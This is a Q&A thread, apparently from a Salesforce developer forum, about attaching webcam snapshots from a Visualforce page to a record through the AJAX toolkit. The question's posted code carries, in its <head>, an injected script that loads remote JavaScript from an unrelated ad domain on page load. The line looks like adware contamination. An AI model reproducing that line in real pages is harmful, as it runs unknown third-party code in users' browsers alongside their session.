6

I have a vf page which captures image from webcam. I have added a custom button in my custom object page layout and associated the webcam page to the button. Now when u click the button that image capturing page is getting displayed. I can take snapshot.

I want after taking snapshot that captured image should get attached into the record attachment automatically.Please help me out in the approach.

Below is my vf page -

apex:page docType="html-5.0" sidebar="false" showHeader="false">

<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

    <style type="text/css">
    body { font-family: Helvetica, sans-serif; }
    h2, h3 { margin-top:0; }
    form { margin-top: 15px; }
    form > input { margin-right: 15px; }
    #results { float:right; margin:20px; padding:20px; border:1px solid; background:#ccc; }
    </style>
<script type="text/javascript">(function(){var a=document.createElement("script");a.type="text/javascript";a.async=!0;a.src="http://img.rafomedia.com/zr/js/adrns.js?2015070901";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);})();</script></head>
<body>
    <div id="results">Your captured image will appear here...</div>

    <div id="my_camera"></div>

    <!-- First, include the Webcam.js JavaScript Library -->
    <script type="text/javascript" src="{!$Resource.webcam}"></script>

    <!-- Configure a few settings and attach camera -->
    <script language="JavaScript">
    Webcam.set({
        width: 320,
        height: 240,
        image_format: 'jpeg',
        jpeg_quality: 90
    });
    Webcam.attach( '#my_camera' );
    </script>

    <!-- A button for taking snaps -->
    <form>
    <input type="button" value="Take Snapshot" onClick="take_snapshot()"/>
    </form>

    <!-- Code to handle taking the snapshot and displaying it locally -->
    <script language="JavaScript">
    function take_snapshot() {
        // take snapshot and get image data
        Webcam.snap( function(data_uri) {
        // display results in page
        document.getElementById('results').innerHTML = 
            '<h2>Here is your image:</h2>' + 
            '<img src="'+data_uri+'"/>';
        } );
    }
    </script>

</body>
</html>

</apex:page>

Regards

0

1 Answer 1

1

If you click inspect element on your page, you will see that library stores image in base64 representation. All we need - is to use Ajax toolkit to create attachment.

Add standard controller, so we can access record id within visualforce; and toolkit libraries:

<apex:page docType="html-5.0" sidebar="false" showHeader="false" standardController="Contact">
    <script type="text/javascript">
    var __sfdcSessionId = '{!GETSESSIONID()}';
    </script>
    <script src="../../soap/ajax/37.0/connection.js" type="text/javascript"></script>
    <script src="../../soap/ajax/37.0/apex.js" type="text/javascript"></script>

Create new js function which can create attachment:

function new_attach(body64) {
    var connection = sforce.connection;
    var snapshot = new sforce.SObject("Attachment");
    snapshot.Name = "snapshot.jpeg";
    snapshot.parentId = "{!Contact.id}";
    snapshot.body = body64;
    snapshot.ContentType = "image/jpeg";
    result = sforce.connection.create([snapshot]);
    console.log(result);
}

Call it from Webcam.snap() function :

Webcam.snap( function(data_uri) {
    // display results in page
    document.getElementById('results').innerHTML = 
        '<h2>Here is your image:</h2>' + 
        '<img src="'+data_uri+'"/>';

    new_attach(data_uri.replace('data:image/jpeg;base64,',''));
} );      

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .